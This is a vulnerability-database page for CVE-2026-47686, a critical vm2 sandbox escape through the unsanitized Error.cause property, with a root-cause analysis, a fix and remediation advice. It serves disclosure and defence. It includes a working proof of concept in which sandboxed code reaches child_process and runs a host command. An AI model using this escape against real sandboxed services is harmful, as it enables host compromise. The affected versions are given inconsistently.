Skip to main content

vm2 EUVDEUVD-2026-60460

| CVE-2026-47686 CRITICAL
Protection Mechanism Failure (CWE-693)
2026-08-17 https://github.com/patriksimek/vm2 GHSA-m283-3h24-438v
9.9
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI
9.9 CRITICAL

Attacker-supplied sandbox code (PR:L) reliably escapes to full host compromise across the sandbox boundary (S:C, C/I/A:H); AC:L since exploitation is deterministic once the embedder throws a host-referencing error.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Red Hat
9.9 HIGH
qualitative

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Aug 17, 2026 - 22:03 EUVD
Source Code Evidence Fetched
Aug 17, 2026 - 18:36 vuln.today
Analysis Generated
Aug 17, 2026 - 18:36 vuln.today
CVE Published
Aug 17, 2026 - 17:32 github-advisory
CRITICAL 9.9

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 22 npm packages depend on vm2 (6 direct, 16 indirect)

Ecosystem-wide dependent count for version 3.11.6.

DescriptionCVE.org

Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)

Summary

I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.

The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.

Root Cause

The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.

javascript
function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    // ... cycle detection ...
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);      // sanitized
            e.suppressed = handleException(e.suppressed, visited); // sanitized
            return e;
        }
        if (proto === localAggregateErrorProto) {
            // sanitizes e.errors[] ...
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e; // .cause is NEVER checked
}

Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.

Affected Code

  • lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling)
  • lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause
  • docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered

Reproduction

Embedder code that exposes a function throwing with .cause set to process:

javascript
const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('fail', { cause: process });
        }
    }
});

const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        // .cause is not sanitized, so we get a direct reference to host process
        const proc = e.cause;
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);

Verified output:

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Full RCE confirmed.

Impact

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

  • Full host process access (read/write files, spawn processes, network access)
  • Sandbox escape with changed scope (CVSS S:C)
  • No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

Suggested Fix

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

javascript
function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    if (!visited) visited = new LocalWeakMap();
    if (apply(localWeakMapGet, visited, [e])) return e;
    apply(localWeakMapSet, visited, [e, true]);

    // Sanitize .cause on ALL errors (ES2022)
    try {
        if ('cause' in e) {
            e.cause = handleException(e.cause, visited);
        }
    } catch (ex) { /* best effort */ }

    let proto = localReflectGetPrototypeOf(e);
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);
            e.suppressed = handleException(e.suppressed, visited);
            return e;
        }
        if (proto === localAggregateErrorProto) {
            if (localArrayIsArray(e.errors)) {
                for (let i = 0; i < e.errors.length; i++) {
                    e.errors[i] = handleException(e.errors[i], visited);
                }
            }
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e;
}

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

Artifacts

FileRole
poc_error_cause_escape.jsPoC demonstrating sandbox escape to RCE via unsanitized .cause

poc_error_cause_escape.js

AnalysisAI

Sandbox escape to remote code execution in the vm2 Node.js sandbox library (versions <= 3.11.5) arises because handleException() in lib/setup-sandbox.js sanitizes SuppressedError and AggregateError sub-errors but never inspects the ES2022 Error.cause property. Untrusted code running inside the sandbox that catches a host-thrown error carrying a .cause (or other own property) pointing at a host object such as process can dereference it to reach child_process and run arbitrary host commands. A working proof-of-concept demonstrating full RCE is published in the GitHub advisory, and the flaw is fixed in vm2 3.11.6; there is no CISA KEV listing indicating active exploitation.

Technical ContextAI

vm2 is a widely-used npm library that runs untrusted JavaScript in a restricted context by proxying and sanitizing objects that cross the sandbox/host boundary. The core defensive routine handleException() is meant to strip live host references out of any error object that propagates from a host function into sandbox catch blocks. It walks the error's prototype chain to detect SuppressedError (ES2024 'using' declarations) and AggregateError, recursing into their .error/.suppressed/.errors[] slots, but it returns all other errors unmodified without checking .cause, other arbitrary own properties, or the carrier's prototype chain. Because Error.cause (ES2022, Node 16.9+) and normal own properties can hold a direct reference to host objects, this is a CWE-693 Protection Mechanism Failure: the sanitization mechanism exists but is incomplete, leaving an unproxied path from sandbox to host. The affected package is pkg:npm/vm2.

RemediationAI

Vendor-released patch: upgrade vm2 to 3.11.6, which closes GHSA-m283-3h24-438v by sanitizing Error.cause and other host-reference carriers on all error types (release notes: https://github.com/patriksimek/vm2/releases/tag/3.11.6; advisory: https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v). Note that 3.11.6 also fixes four other advisories (GHSA-cfcw-xp6x-25gj, GHSA-gmc2-2x9w-cgh9, GHSA-m5w8-4gq2-6f8x, GHSA-v836-6xw4-9cx3) and requires no API changes for valid configurations, so upgrading is low-risk. Because vm2 is deprecated, the strongest long-term remediation is migrating off vm2 entirely to an isolate-based sandbox such as isolated-vm or a separate OS/container process boundary. If you cannot patch immediately, the most direct compensating control is to ensure no embedder-exposed host function ever throws an Error that references a live host object: wrap all host functions so they catch internally and rethrow plain, reference-free errors (new Error(String(err.message))), which removes the .cause/own-property escape path at the cost of losing chained error diagnostics passed into the sandbox. Avoid exposing powerful host objects (process, require, module) to sandbox scope at all.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Vendor StatusVendor

Share

EUVD-2026-60460 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy